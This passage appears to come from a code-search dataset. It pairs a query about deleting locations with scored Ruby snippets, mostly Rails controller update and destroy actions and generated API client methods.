"text": "def update_stage_using_put_with_http_info(stage, stage_id, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: UtilsApi.update_stage_using_put ...'\n end\n # verify the required parameter 'stage' is set\n if @api_client.config.client_side_validation && stage.nil?\n fail ArgumentError, \"Missing the required parameter 'stage' when calling UtilsApi.update_stage_using_put\"\n end\n # verify the required parameter 'stage_id' is set\n if @api_client.config.client_side_validation && stage_id.nil?\n fail ArgumentError, \"Missing the required parameter 'stage_id' when calling UtilsApi.update_stage_using_put\"\n end\n # resource path\n local_var_path = '/stage/{stage_id}'.sub('{' + 'stage_id' + '}', stage_id.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['*/*'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = @api_client.object_to_http_body(stage)\n auth_names = ['oauth2']\n data, status_code, headers = @api_client.call_api(:PUT, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'Stage')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: UtilsApi#update_stage_using_put\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"title": ""
},
{
"docid": "95f900c2e4dcf81c583e2a989d078830",
"score": "0.53785634",
"text": "def api_stages_batch_edit_put_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: DefaultApi.api_stages_batch_edit_put ...'\n end\n # resource path\n local_var_path = '/api/stages/batch/edit'\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['Basic']\n data, status_code, headers = @api_client.call_api(:PUT, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: DefaultApi#api_stages_batch_edit_put\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"title": ""
},
{
"docid": "f9c7dd1d2897469bb581efd1b58eeba3",
"score": "0.5376926",
"text": "def perform_opts(options)\n $logger.info \"Gateway Update: agent_ips: #{options[:agent_ips].inspect} app: #{options[:app_id].inspect} envtype: #{options[:envtype].inspect}\"\n verify_opts(options)\n\n app_id_prefix = options[:app_id].to_s + '_'\n\n new_data = RouteStruct.new\n app_id_tok = app_id_prefix + options[:job_token].to_s\n new_data[:app_id_token_strbuf] = app_id_tok\n new_data[:app_id_token_strsize] = app_id_tok.length\n new_data[:envtype_strbuf] = options[:envtype]\n new_data[:envtype_strsize] = options[:envtype].length\n\n $roles[:gateway].edit_tcb($config[:gateway_tcb_routes_name]) do |db|\n # remove all previous routes for this app\n db.keys.each do |key|\n old_data = RouteStruct.new FFI::MemoryPointer.from_string(db[key])\n if old_data[:app_id_token_strbuf].to_s.starts_with?(app_id_prefix)\n old_envtype = old_data[:envtype_strbuf].to_s rescue \"production\"\n if old_envtype == options[:envtype]\n db.delete key\n end\n end\n end\n\n options[:routes].each do |route|\n new_data[:key_material_id] = 0\n # XXX we don't do paths yet\n if route.instance_of?(Array)\n # CC rev. <= 1eaca3d4\n hostname = route[0]\n else\n hostname = route[\"hostname\"]\n if route[\"https_enabled\"]\n new_data[:key_material_id] = route[\"key_material_id\"].to_i\n end\n end\n db[hostname] = new_data.pointer.get_bytes(0, new_data.size)\n end\n end\n\n $roles[:gateway].edit_tcb($config[:gateway_tcb_key_material_name]) do |db|\n options[:key_material].each do |key_material_id, data|\n header = KeyMaterialHeader.new\n header[:version] = 1\n header[:certificate_size] = data[\"certificate\"].length + 1\n header[:key_size] = data[\"key\"].length + 1\n buf = header.pointer.get_bytes(0, header.size) + data[\"certificate\"] + \"\\0\" + data[\"key\"] + \"\\0\"\n db[key_material_id] = buf\n end\n end\n\n # Update Agent-internal data\n DataMapper.repository(:gateway) do\n # remove previous app entries\n RoleGateway::DeploymentInstallAgentMapping.all(:app_id => options[:app_id], :envtype => options[:envtype]).each do |mapping|\n mapping.destroy\n end\n options[:agent_ips].each do |agent_ip|\n d = {\n :app_id => options[:app_id],\n :envtype => options[:envtype],\n :di_name => app_id_tok,\n :agent_ip => agent_ip,\n :max_running => options[:max_running],\n }\n RoleGateway::DeploymentInstallAgentMapping.first_or_create(d)\n end\n end\n\n agent = remote_call(HSAgent::Control, \"localhost\")\n agent.gateway_routes_changed\n\n # notify nginx that tcb has changed\n # TODO: This should be done implicitly by nginx on tcb change\n %x{invoke-rc.d hs-httpgateway reload 2>&1}\n\n nil\n\n end",
"title": ""
},
{
"docid": "5d2f391578b1f7dc03f5c689635d2f1c",
"score": "0.53737634",
"text": "def update\n respond_to do |format|\n if @opt10059_two_one.update(opt10059_two_one_params)\n format.html { redirect_to @opt10059_two_one, notice: 'Opt10059 two one was successfully updated.' }\n format.json { render :show, status: :ok, location: @opt10059_two_one }\n else\n format.html { render :edit }\n format.json { render json: @opt10059_two_one.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "1df35a8c3ac86948cfbaa9572d023088",
"score": "0.53723174",
"text": "def update_stage_using_put_with_http_info(stage, stage_id, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: UtilsApi.update_stage_using_put ...'\n end\n # verify the required parameter 'stage' is set\n if @api_client.config.client_side_validation && stage.nil?\n fail ArgumentError, \"Missing the required parameter 'stage' when calling UtilsApi.update_stage_using_put\"\n end\n # verify the required parameter 'stage_id' is set\n if @api_client.config.client_side_validation && stage_id.nil?\n fail ArgumentError, \"Missing the required parameter 'stage_id' when calling UtilsApi.update_stage_using_put\"\n end\n # resource path\n local_var_path = '/nucleus/v1/stage/{stage_id}'.sub('{' + 'stage_id' + '}', stage_id.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['*/*'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = @api_client.object_to_http_body(stage)\n auth_names = ['oauth2']\n data, status_code, headers = @api_client.call_api(:PUT, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'Stage')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: UtilsApi#update_stage_using_put\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"title": ""
},
{
"docid": "66a93f47189fc68e1ae9ce4ff5ad7ec2",
"score": "0.53713185",
"text": "def update opts = {}\n opts[:headers] ||= {}\n opts[:headers]['Content-Type'] ||= builder.content_type\n post opts.fetch(:path, update_path), opts\n end",
"title": ""
},
{
"docid": "b495967bbe9ad7fd50848bcd60706e56",
"score": "0.5367543",
"text": "def update\n respond_to do |format|\n if @building_stage.update(building_stage_params)\n format.html { redirect_to @building_stage, notice: 'Stage was successfully updated.' }\n format.json { render :show, status: :ok, location: @building_stage }\n else\n format.html { render :edit }\n format.json { render json: @building_stage.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "1e5f456e5a4e8b870d84c440d31f713b",
"score": "0.5358466",
"text": "def index\n #if params[:option_type].present?\n @options = Option.find_all_by_option_type('custom_field')\n @options.each{|opt| opt.value = YAML.load(opt.value)}\n #else\n # @options = Option.all\n #end\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @options }\n end\n end",
"title": ""
},
{
"docid": "45aaa794298e2521addfb89aec4db01e",
"score": "0.535498",
"text": "def update\n respond_to do |format|\n if @apartment_option.update(apartment_option_params)\n format.html { redirect_to [:admin, @apartment_option], flash: { :success => \"#{@apartment_option.name}を更新しました。\" } }\n format.json { render :show, status: :ok, location: @apartment_option }\n else\n format.html { render :edit }\n format.json { render json: @apartment_option.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "ec2e2f58b564a5b47bc6d9b6f6b58bf8",
"score": "0.5343429",
"text": "def update\n\n rxoption_params[:cost_report_option] = rxoption_params[:cost_report_option].to_i\n rxoption_params[:switch_type] = rxoption_params[:switch_type].to_i\n rxoption_params[:erx_interface] = rxoption_params[:erx_interface].to_i\n rxoption_params[:default_paytype_option] = rxoption_params[:default_paytype_option].to_i\n rxoption_params[:system_type] = rxoption_params[:system_type].to_i\n rxoption_params[:system_network_type] = rxoption_params[:system_network_type].to_i\n\n respond_to do |format|\n if @rxoption.update(rxoption_params)\n format.html { redirect_to @rxoption, notice: 'Rxoption was successfully updated.' }\n format.json { render :show, status: :ok, location: @rxoption }\n else\n format.html { render :edit }\n format.json { render json: @rxoption.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "999016d18e32494f8d4838788b2405aa",
"score": "0.5342095",
"text": "def update\n respond_to do |format|\n if @post_option.update(post_option_params)\n format.html { redirect_to @post_option, notice: 'Post option was successfully updated.' }\n format.json { render :show, status: :ok, location: @post_option }\n else\n format.html { render :edit }\n format.json { render json: @post_option.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "10871b9928f4012d92c9270e6591c20f",
"score": "0.53278357",
"text": "def update\n @state_option = StateOption.find(params[:id])\n\n respond_to do |format|\n if @state_option.update_attributes(params[:state_option])\n format.html { redirect_to @state_option, :notice => 'State option was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @state_option.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "48d77441f075122da1d127a9015f0c3f",
"score": "0.532783",
"text": "def build_stage_update(permitted_params,params)\n \n stage_index = permitted_params[:stage_index]\n #stage_id = permitted_params[:stage_id]\n stage_doc_version = permitted_params[:doc_version]\n \n return unless (stage_index && stage_doc_version)\n\n stage = get_stage(stage_index)\n \n return unless stage\n\n stage.assign_attributes(permitted_params)\n stage.doc_version = stage_doc_version + 1\n \n update = {\n \"$set\" => {\n \"stages.#{stage_index}\" => stage.attributes\n }\n }\n\n return update\n\n end",
"title": ""
},
{
"docid": "39aa1077a8611ad7d7ddf2a4fb53c194",
"score": "0.53255326",
"text": "def update!(**args)\n @drive_options = args[:drive_options] if args.key?(:drive_options)\n @groups_options = args[:groups_options] if args.key?(:groups_options)\n @hangouts_chat_options = args[:hangouts_chat_options] if args.key?(:hangouts_chat_options)\n @mail_options = args[:mail_options] if args.key?(:mail_options)\n @region = args[:region] if args.key?(:region)\n end",
"title": ""
},
{
"docid": "45565d08e0b01b385f8d02ef4743adb4",
"score": "0.5325352",
"text": "def update\n respond_to do |format|\n if @questionnaire_option.update(questionnaire_option_params)\n format.html { redirect_to \"/edit_questionnaires?job_id=#{@questionnaire_option.questionnaire.job_id}\", notice: 'Option was successfully updated.' }\n format.json { render :show, status: :ok, location: @questionnaire_option }\n else\n format.html { render :edit }\n format.json { render json: @questionnaire_option.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "19554a05386e5d886e5457caa490024b",
"score": "0.5314773",
"text": "def update\n @poll_option = PollOption.find(params[:id])\n\n respond_to do |format|\n if @poll_option.update_attributes(params[:poll_option])\n format.html { redirect_to @poll_option, notice: 'Poll option was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @poll_option.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "954a60b8db70dc51e34f451f016fca08",
"score": "0.5314757",
"text": "def update\n respond_to do |format|\n if @adventure_option.update(adventure_option_params)\n format.html { redirect_to @adventure_option, notice: 'Adventure option was successfully updated.' }\n format.json { render :show, status: :ok, location: @adventure_option }\n else\n format.html { render :edit }\n format.json { render json: @adventure_option.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "eccb5c85bbf48ca53567dee13ad50542",
"score": "0.5313583",
"text": "def update\n @line_item_option = LineItemOption.find(params[:id])\n\n respond_to do |format|\n if @line_item_option.update_attributes(params[:line_item_option])\n format.html { redirect_to @line_item_option, notice: 'Line item option was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @line_item_option.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
}
] |
a3c73a60531b18a2249d0176145570cb | DELETE /locations/1 DELETE /locations/1.json | [
{
"docid": "915f347467d6a9348b21629199e8df7c",
"score": "0.0",
"text": "def destroy\n @location.destroy\n respond_to do |format|\n format.html { redirect_to admin_locations_url, notice: 'Location was successfully destroyed.' }\n end\n end",
"title": ""
}
] | [
{
"docid": "4da4dd82c73d871c95906ca2a0d70575",
"score": "0.7461899",
"text": "def destroy\n record = Location.find(params[:id])\n record.destroy\n\n respond_to do |format| \n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "faf9b1ec3a056040b2c981a5c9fa1b8a",
"score": "0.74349576",
"text": "def destroy\n @client = Client.find(params[:id])\n\n @client.locations.each do |location|\n location.delete\n end\n\n @client.destroy\n\n respond_to do |format|\n format.html { redirect_to clients_url}\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "29fea76dfc81ee8d92d3222319dea61c",
"score": "0.7393025",
"text": "def destroy\n @location = Location.find(params[:id])\n @location.destroy\n\n respond_to do |format|\n format.html { redirect_to adm_locations_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "ead6b29a29c0902d1ab155c888bb906d",
"score": "0.7382126",
"text": "def delete_location(id)\n @client.raw('delete', \"/ecommerce/locations/#{id}\")\n end",
"title": ""
},
{
"docid": "d72df2cf572c126859e75b115f234506",
"score": "0.7341126",
"text": "def destroy\r\n @location = Location.find(params[:id])\r\n @location.destroy\r\n\r\n respond_to do |format|\r\n format.html { redirect_to(locations_url) }\r\n format.json { head :ok }\r\n end\r\n end",
"title": ""
},
{
"docid": "6d4d949da63dd507fc23085fe3dc252a",
"score": "0.7294523",
"text": "def destroy\n @apiv1_location.destroy\n respond_to do |format|\n format.html { redirect_to apiv1_locations_url, notice: 'Location was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "6b26ea8c65cb4f770988fad5a63172cd",
"score": "0.72933626",
"text": "def destroy\n @location = Location.find(params[:id])\n @location.destroy\n\n respond_to do |format|\n format.html { redirect_to locations_url }\n format.json { head :ok }\n end\n end",
"title": ""
},
{
"docid": "6b26ea8c65cb4f770988fad5a63172cd",
"score": "0.72933626",
"text": "def destroy\n @location = Location.find(params[:id])\n @location.destroy\n\n respond_to do |format|\n format.html { redirect_to locations_url }\n format.json { head :ok }\n end\n end",
"title": ""
},
{
"docid": "6b26ea8c65cb4f770988fad5a63172cd",
"score": "0.72933626",
"text": "def destroy\n @location = Location.find(params[:id])\n @location.destroy\n\n respond_to do |format|\n format.html { redirect_to locations_url }\n format.json { head :ok }\n end\n end",
"title": ""
},
{
"docid": "6b26ea8c65cb4f770988fad5a63172cd",
"score": "0.72933626",
"text": "def destroy\n @location = Location.find(params[:id])\n @location.destroy\n\n respond_to do |format|\n format.html { redirect_to locations_url }\n format.json { head :ok }\n end\n end",
"title": ""
},
{
"docid": "b8f18405acbeef11eb52e22caf99f68c",
"score": "0.7283336",
"text": "def destroy\n @location = Location.find(params[:id])\n @location.destroy\n\n respond_to do |format|\n format.html { redirect_to locations_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "b8f18405acbeef11eb52e22caf99f68c",
"score": "0.7283336",
"text": "def destroy\n @location = Location.find(params[:id])\n @location.destroy\n\n respond_to do |format|\n format.html { redirect_to locations_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "b8f18405acbeef11eb52e22caf99f68c",
"score": "0.7283336",
"text": "def destroy\n @location = Location.find(params[:id])\n @location.destroy\n\n respond_to do |format|\n format.html { redirect_to locations_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "b8f18405acbeef11eb52e22caf99f68c",
"score": "0.7283336",
"text": "def destroy\n @location = Location.find(params[:id])\n @location.destroy\n\n respond_to do |format|\n format.html { redirect_to locations_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "b8f18405acbeef11eb52e22caf99f68c",
"score": "0.7283336",
"text": "def destroy\n @location = Location.find(params[:id])\n @location.destroy\n\n respond_to do |format|\n format.html { redirect_to locations_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "b8f18405acbeef11eb52e22caf99f68c",
"score": "0.7283336",
"text": "def destroy\n @location = Location.find(params[:id])\n @location.destroy\n\n respond_to do |format|\n format.html { redirect_to locations_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "b8f18405acbeef11eb52e22caf99f68c",
"score": "0.7283336",
"text": "def destroy\n @location = Location.find(params[:id])\n @location.destroy\n\n respond_to do |format|\n format.html { redirect_to locations_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "b8f18405acbeef11eb52e22caf99f68c",
"score": "0.7283336",
"text": "def destroy\n @location = Location.find(params[:id])\n @location.destroy\n\n respond_to do |format|\n format.html { redirect_to locations_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "b8f18405acbeef11eb52e22caf99f68c",
"score": "0.7283336",
"text": "def destroy\n @location = Location.find(params[:id])\n @location.destroy\n\n respond_to do |format|\n format.html { redirect_to locations_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "b8f18405acbeef11eb52e22caf99f68c",
"score": "0.7283336",
"text": "def destroy\n @location = Location.find(params[:id])\n @location.destroy\n\n respond_to do |format|\n format.html { redirect_to locations_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "b8f18405acbeef11eb52e22caf99f68c",
"score": "0.7283336",
"text": "def destroy\n @location = Location.find(params[:id])\n @location.destroy\n\n respond_to do |format|\n format.html { redirect_to locations_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "b8f18405acbeef11eb52e22caf99f68c",
"score": "0.7283336",
"text": "def destroy\n @location = Location.find(params[:id])\n @location.destroy\n\n respond_to do |format|\n format.html { redirect_to locations_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "b8f18405acbeef11eb52e22caf99f68c",
"score": "0.7283336",
"text": "def destroy\n @location = Location.find(params[:id])\n @location.destroy\n\n respond_to do |format|\n format.html { redirect_to locations_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "b8f18405acbeef11eb52e22caf99f68c",
"score": "0.7283336",
"text": "def destroy\n @location = Location.find(params[:id])\n @location.destroy\n\n respond_to do |format|\n format.html { redirect_to locations_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "b8f18405acbeef11eb52e22caf99f68c",
"score": "0.7283336",
"text": "def destroy\n @location = Location.find(params[:id])\n @location.destroy\n\n respond_to do |format|\n format.html { redirect_to locations_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "b8f18405acbeef11eb52e22caf99f68c",
"score": "0.7283336",
"text": "def destroy\n @location = Location.find(params[:id])\n @location.destroy\n\n respond_to do |format|\n format.html { redirect_to locations_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "52d1d94fc0ffc91b746f279bb47a6737",
"score": "0.7276313",
"text": "def destroy\n @locations = nil\n\n if params.has_key? :id\n location = Location.find params[:id]\n @locations = [ location ]\n elsif params.has_key? :ids\n @locations = Location.find params[:ids].split(\",\")\n end\n\n if not @locations.empty?\n @locations.each do |l|\n l.destroy\n end\n end\n\n respond_to do |format|\n format.html { redirect_to locations_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "e3caaa8481eefc01c734bca5bdbfd4d2",
"score": "0.72607535",
"text": "def destroy\n @location.destroy\n respond_to do |format|\n format.html { redirect_to locations_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "e3caaa8481eefc01c734bca5bdbfd4d2",
"score": "0.72607535",
"text": "def destroy\n @location.destroy\n respond_to do |format|\n format.html { redirect_to locations_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "e3caaa8481eefc01c734bca5bdbfd4d2",
"score": "0.72607535",
"text": "def destroy\n @location.destroy\n respond_to do |format|\n format.html { redirect_to locations_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "e3caaa8481eefc01c734bca5bdbfd4d2",
"score": "0.72607535",
"text": "def destroy\n @location.destroy\n respond_to do |format|\n format.html { redirect_to locations_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "e3caaa8481eefc01c734bca5bdbfd4d2",
"score": "0.72607535",
"text": "def destroy\n @location.destroy\n respond_to do |format|\n format.html { redirect_to locations_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "e3caaa8481eefc01c734bca5bdbfd4d2",
"score": "0.72607535",
"text": "def destroy\n @location.destroy\n respond_to do |format|\n format.html { redirect_to locations_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "e3caaa8481eefc01c734bca5bdbfd4d2",
"score": "0.72607535",
"text": "def destroy\n @location.destroy\n respond_to do |format|\n format.html { redirect_to locations_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "e3caaa8481eefc01c734bca5bdbfd4d2",
"score": "0.72607535",
"text": "def destroy\n @location.destroy\n respond_to do |format|\n format.html { redirect_to locations_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "e3caaa8481eefc01c734bca5bdbfd4d2",
"score": "0.72607535",
"text": "def destroy\n @location.destroy\n respond_to do |format|\n format.html { redirect_to locations_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "e3caaa8481eefc01c734bca5bdbfd4d2",
"score": "0.72607535",
"text": "def destroy\n @location.destroy\n respond_to do |format|\n format.html { redirect_to locations_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "e3caaa8481eefc01c734bca5bdbfd4d2",
"score": "0.72607535",
"text": "def destroy\n @location.destroy\n respond_to do |format|\n format.html { redirect_to locations_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "e3caaa8481eefc01c734bca5bdbfd4d2",
"score": "0.72607535",
"text": "def destroy\n @location.destroy\n respond_to do |format|\n format.html { redirect_to locations_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "e3caaa8481eefc01c734bca5bdbfd4d2",
"score": "0.72607535",
"text": "def destroy\n @location.destroy\n respond_to do |format|\n format.html { redirect_to locations_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "e3caaa8481eefc01c734bca5bdbfd4d2",
"score": "0.7260672",
"text": "def destroy\n @location.destroy\n respond_to do |format|\n format.html { redirect_to locations_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "d22a615724c0825f70a63b8d6d197879",
"score": "0.7255523",
"text": "def destroy\n @admin_location = Admin::Location.find(params[:id])\n @admin_location.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_locations_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "30f63564bc640dad0fe331d40297350e",
"score": "0.7239122",
"text": "def destroy\n @location = Location.find(params[:id])\n @location.destroy\n\n respond_to do |format|\n format.html { redirect_to @location }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "f2b0d0e6929b2e1a6667cab25ac3e5d0",
"score": "0.72294503",
"text": "def destroy\n @location = Location.find(params[:id])\n ApplicationController.cluster_decrement(@location)\n @location.destroy\n LocationsType.where(\"location_id=#{params[:id]}\").each{ |lt|\n lt.destroy\n }\n expire_things\n log_changes(nil,\"1 location deleted\")\n respond_to do |format|\n format.html { redirect_to locations_url }\n format.mobile { redirect_to locations_url }\n end\n end",
"title": ""
},
{
"docid": "c6bcee1196ba8b56cfbfb3de804923d6",
"score": "0.7219227",
"text": "def destroy\n @location = Location.find(params[:id])\n @location.destroy\n\n respond_to do |format|\n format.html { redirect_to locations_url }\n format.json { render :json => true }\n end\n end",
"title": ""
},
{
"docid": "a2fc18d9ce88c960f900b5714969eb5a",
"score": "0.7209851",
"text": "def delete_location(id)\n return @client.raw(\"delete\", \"/ecommerce/locations/#{id}\")\n end",
"title": ""
},
{
"docid": "f52fac8ac77bc772155d75954146a51b",
"score": "0.718278",
"text": "def destroy\n @geolocation.destroy\n respond_to do |format|\n format.html { redirect_to geolocations_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "57b378b1f7ce545882ad544a247625a3",
"score": "0.71809036",
"text": "def destroy\n @location.destroy\n# respond_to do |format|\n# format.html { redirect_to locations_url }\n# format.json { head :no_content }\n# end\n end",
"title": ""
},
{
"docid": "86511abc6905bacd3790efa89231a0e8",
"score": "0.71799105",
"text": "def destroy\n @geoloc = Geoloc.find(params[:id])\n @geoloc.destroy\n\n respond_to do |format|\n format.html { redirect_to geolocs_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "5529fc2aaf1b5764b07aa94e833abbbc",
"score": "0.7165352",
"text": "def destroy\n @location = Location.find(params[:id])\n @location.destroy\n LocationsType.where(\"location_id=#{params[:id]}\").each{ |lt|\n lt.destroy\n }\n expire_things\n log_changes(nil,\"1 location deleted\")\n respond_to do |format|\n format.html { redirect_to locations_url }\n end\n end",
"title": ""
},
{
"docid": "fb0954941004912f9e5fced29787d0e5",
"score": "0.71643794",
"text": "def destroy\n @map_location = Map::Location.find(params[:id])\n @map_location.destroy\n\n respond_to do |format|\n format.html { redirect_to map_locations_url }\n format.json { head :ok }\n end\n end",
"title": ""
},
{
"docid": "884e550d9486921ecedcdc834cd98c55",
"score": "0.71489227",
"text": "def destroy\n Location.each do |location|\n location.destroy\n end\n\n # @location.destroy\n respond_to do |format|\n format.html { redirect_to locations_url, notice: 'Location was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "de1601a529a07c2a731491b4e518999d",
"score": "0.71472424",
"text": "def destroy\n @geolocation = Geolocation.find(params[:id])\n @geolocation.destroy\n\n respond_to do |format|\n format.html { redirect_to geolocations_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "57f6f7f1a0e30861e7bcf1da62d6c8cc",
"score": "0.71412456",
"text": "def destroy\n sql = \"DELETE FROM Location WHERE locationId = #{params[:id]}\"\n ActiveRecord::Base.connection.execute(sql)\n\n respond_to do |format|\n format.html { redirect_to locations_url, notice: 'Location was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "d350e3162ab491d35ffcce52101c9033",
"score": "0.7139157",
"text": "def destroy\n @location.destroy\n respond_to do |format|\n format.html { redirect_to locations_url, notice: 'Store and Location was successfully deleted.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "ed4e7c2324409a7c5421ced6d78276c8",
"score": "0.7129713",
"text": "def destroy\n @restaurant_location = Restaurant::Location.find(params[:id])\n @restaurant_location.destroy\n\n respond_to do |format|\n format.html { redirect_to restaurant_locations_url }\n format.json { head :ok }\n end\n end",
"title": ""
},
{
"docid": "03e2eb5b8dac95bc422f9a6e9bc7c5cc",
"score": "0.71279407",
"text": "def destroy\n @user.locations.where(:_id => params[:id]).destroy\n respond_to do |format|\n format.html { redirect_to users_url, notice: 'Location was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "fc703ca36ba2ed0b531915b79cc97d57",
"score": "0.7127173",
"text": "def destroy\n @location.destroy\n respond_to do |format|\n format.html { redirect_to dashboards_locations_url, notice: 'Location a été supprimer.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "143aa9dfdced53cd5d017d70d181c716",
"score": "0.71246195",
"text": "def destroy\n @survey_location = SurveyLocation.find(params[:id])\n @survey_location.destroy\n\n respond_to do |format|\n format.html { redirect_to survey_locations_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "704941ad0a0cbb076048447a6f15681d",
"score": "0.7112604",
"text": "def delete_location(id)\n delete(\"/locations/#{id}\")\n end",
"title": ""
},
{
"docid": "0505714137bcebf838b1f145e32de876",
"score": "0.70880103",
"text": "def destroy\n @location.destroy\n render :json => { status: :deleted, head: :no_content }\n end",
"title": ""
},
{
"docid": "5ab361229c68efb15569e085f9c7ce0d",
"score": "0.7084362",
"text": "def destroy\n @location = @event.locations.find(params[:id])\n @location.destroy\n respond_to do |format|\n format.html { redirect_to @event, notice: 'Location was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "5ab361229c68efb15569e085f9c7ce0d",
"score": "0.7084362",
"text": "def destroy\n @location = @event.locations.find(params[:id])\n @location.destroy\n respond_to do |format|\n format.html { redirect_to @event, notice: 'Location was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "80dcaba303a7bf6365987ec2fb1c26c1",
"score": "0.7072805",
"text": "def destroy\n @location_datum = LocationDatum.find(params[:id])\n @location_datum.destroy\n\n respond_to do |format|\n format.html { redirect_to location_data_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "5ec71c33dec4fd4631328bcd69f8eb27",
"score": "0.7071293",
